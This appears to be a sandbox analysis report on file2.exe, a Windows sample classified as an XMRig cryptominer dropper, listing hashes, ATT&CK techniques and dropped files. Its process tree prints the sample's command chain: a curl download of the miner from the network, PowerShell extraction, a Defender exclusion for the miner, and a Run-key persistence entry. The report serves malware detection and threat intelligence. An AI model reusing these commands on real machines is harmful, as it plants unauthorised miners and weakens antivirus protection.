xmrig | f6832bcfbc15578fe43f4d865ce03e513baecd04d83c0d9310ea496ea88a11cd

Analysis

user interaction
yes
max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/10/2026, 01:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file2.exe
Size 8.6MB
Sample261030-b92n9ada49
SHA256 f6832bcfbc15578fe43f4d865ce03e513baecd04d83c0d9310ea496ea88a11cd
MD5 4431d0deb32220f7740e1e14375d1f72
SHA1 0fcd832191da2825bf93b90e746fcb46575914e9
SHA512 7373a4f6fa41f1cc7095d2a1d1f6bb737930ee0bbd9743d77568eba58a4f51ec1568760050a154f1b53093f8d1bb4d4168c935216ea40d4205929296d26d6427
SSDEEP 196608:FHCfrtQYwtyjp7qejDFE3XIJateYnoNtK5Cwse6IY2yEJ:wfrMyjPZE34JaDdLse6IY
TLSH
T1B3963345C3C121E6F8B3D23D8DE2A002DBF2B8114BB6C5DF1A9592761E33AE05A7C759
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/0x00070000000243f7-126.dat	family_xmrig
behavioral1/files/0x00070000000243f7-126.dat	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4060	powershell.exe
2948	powershell.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 1 IoCs

pid	Process
1192	xmrig.exe

Loads dropped DLL 14 IoCs

pid	Process
932	file2.exe
932	file2.exe
932	file2.exe
932	file2.exe
932	file2.exe
932	file2.exe
932	file2.exe
4320	file2.exe
4320	file2.exe
4320	file2.exe
4320	file2.exe
4320	file2.exe
4320	file2.exe
4320	file2.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\file2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\file2.exe"	file2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\file2.exe_RunAsAdmin = "1"	file2.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3236	cmd.exe
2380	cmd.exe
1464	cmd.exe
1148	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xmrig.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe
2948	powershell.exe
2948	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeLockMemoryPrivilege	1192	xmrig.exe
Token: SeLockMemoryPrivilege	1192	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1192	xmrig.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3392 wrote to memory of 932	3392	file2.exe	82
PID 932 wrote to memory of 3236	932	file2.exe	83
PID 3236 wrote to memory of 2392	3236	cmd.exe	85
PID 4884 wrote to memory of 4320	4884	file2.exe	89
PID 4320 wrote to memory of 2380	4320	file2.exe	90
PID 932 wrote to memory of 1464	932	file2.exe	92
PID 1464 wrote to memory of 4060	1464	cmd.exe	94
PID 932 wrote to memory of 2948	932	file2.exe	95
PID 932 wrote to memory of 1148	932	file2.exe	99
PID 1148 wrote to memory of 1192	1148	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\file2.exe
"C:\Users\Admin\AppData\Local\Temp\file2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Users\Admin\AppData\Local\Temp\file2.exe
  "C:\Users\Admin\AppData\Local\Temp\file2.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -o %USERPROFILE%\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3236
  - - C:\Windows\system32\curl.exe
      curl -o C:\Users\Admin\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip
      4⤵
      PID:2392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Expand-Archive -Path %USERPROFILE%\Documents\xmrig.zip -DestinationPath %USERPROFILE%\Documents\xmrig -Force""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\Documents\xmrig.zip -DestinationPath C:\Users\Admin\Documents\xmrig -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-MpPreference -ExclusionPath" %USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "%USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1148
  - - C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\xmrig.exe
      C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\xmrig.exe
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:1192

C:\Users\Admin\AppData\Local\Temp\file2.exe
C:\Users\Admin\AppData\Local\Temp\file2.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Users\Admin\AppData\Local\Temp\file2.exe
  C:\Users\Admin\AppData\Local\Temp\file2.exe
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "%USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
MD5 fe3aab3ae544a134b68e881b82b70169
SHA1 926e9b4e527ae1bd9b3b25726e1f59d5a34d36a6
SHA512 3fbd3499d98280b6c79c67b0ee183b27692dbc31acf103b4f8ca4dcdf392afff2b3aad500037f4288581ed37e85f45c3bbb5dcde11cddf3ef0609f44b2ecb280
TLSH
T17F71FE313275B0D4C8567F071E2819C453BF4386EAA4AF4CB25C621EDD2641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 751adffd5a0c74b2e5ccef16e572fa827b8ffc5d4ed1ffd2737e08e986729c07
MD5 39a65289943c7fd541803eedfff0bf59
SHA1 c7c66bc88d2a256fc0db8b3b5841d1750782a8d4
SHA512 7fe02e1892af8b2acd70b1611a205ac0994325aec9c58f7b7e89f644fb5a059055e5f3b2ebc6069423bf68c4ccd1437cf2328e9e0a57e7511a067ce1133864a4
TLSH
T18E318827B3DC89E5C896063A009E9D1077B692D391DECFDBBBC4D605A17FA88CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_bz2.pyd
Size 85KB
SHA256 9590a3f4b7c0801cd379341d40bb89b5dc9a4e232c9498b6f3bc6b5e99d4ae7f
MD5 ba5095177c6df6a13d5504fa1c7082b2
SHA1 55c6a9506c81c61bb4ed4af5db39d554f776bb44
SHA512 a1fa533f07e54e60ab565b2a175252b45248cd3a50abe800b6551dac637c6a2bd6308676ad739845d085a92579870a799fea48e5a407847db8e9d49bf06b0010
SSDEEP 1536:J+xDQz7nIBcZrnq3pRWxO8qQixBQVt28QUbyzYI83V+yyPi9PfIzo9J:4xDQz1ZmPYO8qzBQVtBQYyzYI83VIg
TLSH
T143838F83E3A462F6F5AB81F4D6810753F731BB96031063AFB354C2853F22B91AE59365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_ctypes.pyd
Size 139KB
SHA256 adf71d85781a2fe937fcc44c0961498e2cf30849f9863ff7b5f7510817cea952
MD5 820bea314c1ff7bcdb92e67350cc1dfa
SHA1 5f4b9011ca74e3bf79acd2eb451f6941a57ed7a0
SHA512 f1314be25c99187cd9a683aa4f10fb67eae836f57e63320375b0aeffbb9f741be35b6fb6a24c2367729797905d7c5b1b9833ec13819fe42d069105a0a546b247
SSDEEP 3072:iT0vTKEfOfYBgO+cZbU1O8I71Fm91PncI8GPdPB:IqGE2Sbb8I7HkZ1
TLSH
T139E38E4B376840A6D6678138C5739E47EBB1F4525A5087CF01A4C99B2F633A2AF3F711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_decimal.pyd
Size 283KB
SHA256 9605f332fb52636d77a3125abc7e42ba22b3838dcf136d81f37fe5875cbd62d6
MD5 2c325a9ba49eeafcb16a0bf09bc53a09
SHA1 5090f507bea072a6b81e3ba154a061ae5eec5678
SHA512 42eb121b1d7d136efdaf119fe3ecc3def8c3fda5585ad75cf39987bca967613c6e38e08aabc6c42833a33102812248495463370b08602db12f60acb1929e5414
SSDEEP 6144:z6Nb0bERDV36e1RQ0BULxsfpGqqM43fIWeA+qM1V:z6NQIRDAe1RQAyE1V
TLSH
T138547D52A3490CA4EF7784348A479A5BF7B2B8414360D78F43A48A972F933A3777E744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_hashlib.pyd
Size 67KB
SHA256 9052a85ac9947afbbdfdd62b0cad7501b668e6107832cefaa4b76377d710dae0
MD5 c4bfc5af9822c169deec2fdb137a74b6
SHA1 bd17c8410cdd1b9af80d951701b071c36fc8d4fa
SHA512 5af39f38b1239c192a0d6ea5ab62b399c6020ba42d2e0c964d317a1b0011ded68e13737b39faa4734f35d6267a8a1100aeb8780c98c64f4f137368e00a956a70
SSDEEP 1536:Xj13iosf+JZoLRGogzQ6KgY9IovAI8DIYyyPi9SzfIzogDk:JyoKEfKgGIovAI8DI0Uhk
TLSH
T13D636C46A79840A6E52382B4C8E74E53F9B0F2522711A7DF6679C18E2F233C7973B315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_lzma.pyd
Size 157KB
SHA256 9ff9f63ad79f161722106e029b4c3afc6494848fd73f9bcc2ed5434a15c71bde
MD5 530166f8399dc049145434d96ba1245f
SHA1 c046ae34dd1f87632f60b830016c99ee8dfcff46
SHA512 56145c0f9fdcf4c6e35a2e8cc9b5c7d2fa1b7716a5b97ae1b662750213442cb2794443ec01bea26863f2e0520ed1fddbe3e24cce50819fb8c501b98fd005aed4
SSDEEP 3072:FJ66g4T5QW7JfyjEqkSkA51b4AznfJ9mNouU7sbYI8I1FLPg+:FUR4Tp4QPZ8N4WxYOkbLP
TLSH
T1CAF34C86B794F0E6F7328C78D2624F57E6F578190320929A01CC976D2B1FB759A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_socket.pyd
Size 85KB
SHA256 11f2ace2a37e59bf0f2fcfcc2523307408fa2e7f0aec561bc7531a8db130a83c
MD5 7898115c16a5d9104ca211a413759819
SHA1 e232e364d0b73b2589108514667f5e737d7f6025
SHA512 fb0b138f2d0c91ca919ff11a841cb729149c0db7baabb95d38ecf2e4c27c9101ae6be5dc1e675b4552c7d4d37c0e0a805917715cf7d0d7dab8d31239472455df
SSDEEP 1536:IhGbog/H3uN1XG4eAypxq7XP+66wSzmN/ab4etbaQtcswPRpbcI8GwvyyPi9PfIP:Tbogf3Mypxq7XPz6wSzmkbtaQes8dcIk
TLSH
T133836B01A66040FAEB72C176C2639E63FBB4F5C11294A75F1456C65A1F333C2BE3AB85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_ssl.pyd
Size 188KB
SHA256 56fdbe70896e4b3c6d4e8897fad1d011129354172566832371289edca0d85a21
MD5 8e2d6d87ab061375fb45a2f6432bc7b8
SHA1 e6891ccc160f43397ccfb89baf63730978e5f359
SHA512 3389246b1c2720e605e08ac8ad81585ee9230c31b01d8d20d52d1392f03ada1707c8e692070f7edfcd6386e996b500212ede23c6c5178e70b8f4523ca94f6777
SSDEEP 3072:p59RyIykEqUfqhXqUqm6bhjfjnSVSdCFgp8VuMG4eJ9i1zktdsx/38uGCNOuR6jR:jf1ykcqhXq1bFuvb6bJ
TLSH
T194146A07B6546AF7D812E4FAC6234543FBB4F055331187DE48C2E9A60F03746AE6AB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\_zstd.pyd
Size 491KB
SHA256 7a7b50c580428daf3d43c87b121988d2e8c7af9533fa2195f1aef8652fc2c489
MD5 710380b14f6d73936dbc8e47a6ae6030
SHA1 403b10d922f7a43d1cc35914346841b562f0abf4
SHA512 fd48327297a7162a58e809bebdee351b987dd36e1f7704ca5c2e8da04c09300b2926a4da6841b5d0fec6836f06649a2acd20024619f38002d566ccf3f8f10378
SSDEEP 6144:XBmHahOxz2FB2l1eUVc8m7KHw9B8zKhThruVBzeeQRzZefUEocgUMntYpz5+SClQ:Rxcxm7KQv6eeQdZefXotOz5BCl9VmFL
TLSH
T105B48D43F29943EDE13BC4B8CF565A13FBB1780B1214565B93A5CB993F07B309A6A309
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\base_library.zip
Size 1.3MB
SHA256 78350b6c831c50abd0304e1d8dd80be65332a1b5a7c0439f0e5c7813482e4e14
MD5 df50dc23e02ec0d2a50e6f3a5c63eb69
SHA1 0a1791a09e504a955f86307d0fd1e15f5d8feac1
SHA512 4d94245d1d0ea4f206fbb1df9d71a37434674af155c5de490a50c274dac437a87e554ca81e3a3ae03dc314fab0157ec27777876e112493c1b77fd95a7597e626
SSDEEP 24576:k9jLfYwdQlbuuUFVDZ0QeOdP2m2dfLRZk7mpw:KvYwdZuUFVy/zR4
TLSH
T15B552B91B9917967FEC9F37A35B75A0CA715C0109B20D303B4A88DAC6FDF260AE558CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\libcrypto-3.dll
Size 5.7MB
SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
MD5 b306c000f2b892736f0e66d265c61876
SHA1 f5c438c111e261bed3af886683a8ebbda9a4784f
SHA512 9cdc7fe337af7db5b171896d075486ea34ed139cf5c9c7a94903bce61b022e6ce671259675291805123fc739d727b23d4417fb7396d05f78b69321024a9fda58
SSDEEP 98304:GdBL82n7Vh6CLpf7u50n+Q1CPwDvt3uFA0Cv:GfL82n7Vh6CLpf7CuV1CPwDvt3uFA0Cv
TLSH
T1D3567B6AB6A41089E8BAD13CC6534B1BD6B1B854177197CF05A097BD2F33FDA0A3E710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\libssl-3.dll
Size 1.2MB
SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
MD5 5aaafa642930cc5ca5e7b6aa7a07f0a6
SHA1 3500c90b532ac1eb39b421a03bab59ad8149e809
SHA512 07cc0de051cbc1ec13d5648e708be08d12a79dbc0f2df48eeadc82a26cde638d86e2bbb6f71897de0217e29d5e69711632da9076f509eb935e170d35192cdef5
SSDEEP 24576:PKPVy3rUry/1n0EahtEf0O29YlFqW9Rg5aYsG:PKty3rZ1npkdeRg5aYsG
TLSH
T1D0556B6AB7B811ADD5B7D17CC6938B17E2B2B0002360A7EF066087791F23BD6167E354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python314.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\python314.dll
Size 6.5MB
SHA256 d8a06cc6ca3348925ea29e343e1c5c5895fe0bb433ff913e1cee44caf358aa6a
MD5 524c235d413bb77d476c1c92abe972c4
SHA1 d6f3ba7a2a18f17f57249d656237d6e78e8295c8
SHA512 8e50875e14f75fc3af2144a49bf43bff386feb19129ec3dd81789bad7bfab426ee8a1d1ad6a53ea272bd7bb6454b03e31ac05c606ce6038dfd58fbc23ab42894
SSDEEP 98304:xecyyERegv2I/5R7ymDbaM7BaRCu644CgvaHDMiEEyHjx:xeMERVj/5R7ypMAF8iMx
TLSH
T13E668D26737811A4D9BB8035C9034647D7B1BC04AB30D34A89A4B6DA3F733635BEEB95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\select.pyd
Size 32KB
SHA256 0da869c017fd3231cfc1c1e4c4bef1bb7bf5cba38236e6d7bf1630c3507c5a1d
MD5 429bf6104d418c6ecf8c57d5d50cb8e6
SHA1 b1c97b42a16e727b967c2ca6a0ec22797f04da7a
SHA512 75557b0fcb74fb62ec3607051bf67f48c9dc4eef2c59b3a0216ab8ff0c421f43b02a7f28d01966a8326fa616fe09385c324a79a90dcdd896149f144c44c8951a
SSDEEP 768:wB7YcZnzrqFcI8RGbyy8PuBL2Ip4kqTxf1mlBfstVPH:wB7F5zrqFcI8RGbyyPi9hfIZad
TLSH
T10DE28DCA9B749047E9A2C671C5A1DE83FA39B7D39610869F31B581DA1E133C1A737318
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000d402\unicodedata.pyd
Size 740KB
SHA256 4c4e9f9e71e299a7e0093830e79f955f2b12b4eb0a6bb45003d42256b6e5985d
MD5 37a5cb54bdf661eb56d9904b33ac6071
SHA1 c268df8007aef25e7ce5c56f6c0f93b970a77b66
SHA512 1350f3d9096ab134a512c5941be58f6155b845676c9f15b9eb50dc5117bc80c0f75f11d147c5b950f94278db37c9d1f3ae25f2f5fd53b0366694c443bfdf3dc4
SSDEEP 12288:Yi4/dYMAPtrZmDtBPcH+dEYJ5EYub+z70lDJPT36mwtfm4L:Yt1YZ5ZmDPqO54lDJPTMfhL
TLSH
T1ACF4E5F5BB838C16E69B767A48D3210F4E50C2B35F1A8637B2182355D8EB3B44DD582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ds4x01lh.tn4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ds4x01lh.tn4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig.zip

Path C:\Users\Admin\Documents\xmrig.zip
Size 2.2MB
SHA256 dd7fef5e3594eb18dd676e550e128d4b64cc5a469ff6954a677dc414265db468
MD5 d444c2bec23f28aa16e14c3c840497d7
SHA1 d26e6c89924e74bd8d97409fb8b50d5ae63d5837
SHA512 1334f2f6c1387d50318c14b6ac68dd99b020d94f20cd35755ca5b7ce1f792411d7a5628cdc1342a6f63ac006ce78afdbf7b1f8129accb7f6a33b8193ccda659a
SSDEEP 49152:dN4hJ29Axv3N1FFOuNWex6xdQwgfM9mgElHXzQvb+iXqHBrTCCBI:8hJWAJ33FYlK6Hg09mFhXzQvb2HBKCBI
TLSH
T178B533914FB0639DCE2E5F30107E984BDCBE6530690977A9ED5037BB962786343E3186
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.json

Path C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\config.json
Size 2KB
SHA256 110b99d3d38e42e42c2f92ecc5c649e3ebbc175a92ca18998ed45d90b2e3a208
MD5 839d82377f4ac1cc5450ffa587f5c662
SHA1 7b683dba92a9d2946cc5121c088d5beec79fc51c
SHA512 0f71dec9ce7892f304cd9748767b5323d5ca5f34910f2ef8750cfcf9b321d6e7384192e1dce78fea1ad302cb18c5517dc858f2f3c4d2aa07b4a499fd996b460c
TLSH
T12251F325C9200CFF09B4A19C9A78A393DA58831B63450C7FB5FC995C2F37A327142FA5
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig.exe

Path C:\Users\Admin\Documents\xmrig\xmrig-6.20.0\xmrig.exe
Size 5.2MB
SHA256 4e4c6f9ec188af7478c91101e276674f2854abc64c0dc83c81ad8db7709394bb
MD5 a462d04e3c550d9e2f759b9dd82f2d45
SHA1 56801fd01ae41779b159a0a295e59c243a9f955c
SHA512 a0a748717031fee1ff5f330b8c94570dba0c973647d0e7ed9c0f2c2a5a8505eb30cff5467e5f2e6afa47338c39aa739723e29984e89e16aa644ceeca76dc3479
SSDEEP 98304:4iX2isksvJauI4D1ckKOpLryp1JAX+uI2+lQomLWtYmpi6Quao7bbeC6q:bskxp7M+B2QHmbmpi6/p3eC6q
TLSH
T179469D56B2A501E8C8BAC07C86479917F7F2B81543B0ABEF17B452690F27BD15E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1192-128-0x0000019E94300000-0x0000019E94320000-memory.dmp

Download

memory/2948-122-0x0000024DE31C0000-0x0000024DE33DC000-memory.dmp

Download

memory/4060-87-0x0000028EDD900000-0x0000028EDD912000-memory.dmp

Download

memory/4060-88-0x0000028EDD8F0000-0x0000028EDD8FA000-memory.dmp

Download

memory/4060-84-0x0000028EDD870000-0x0000028EDD892000-memory.dmp

Download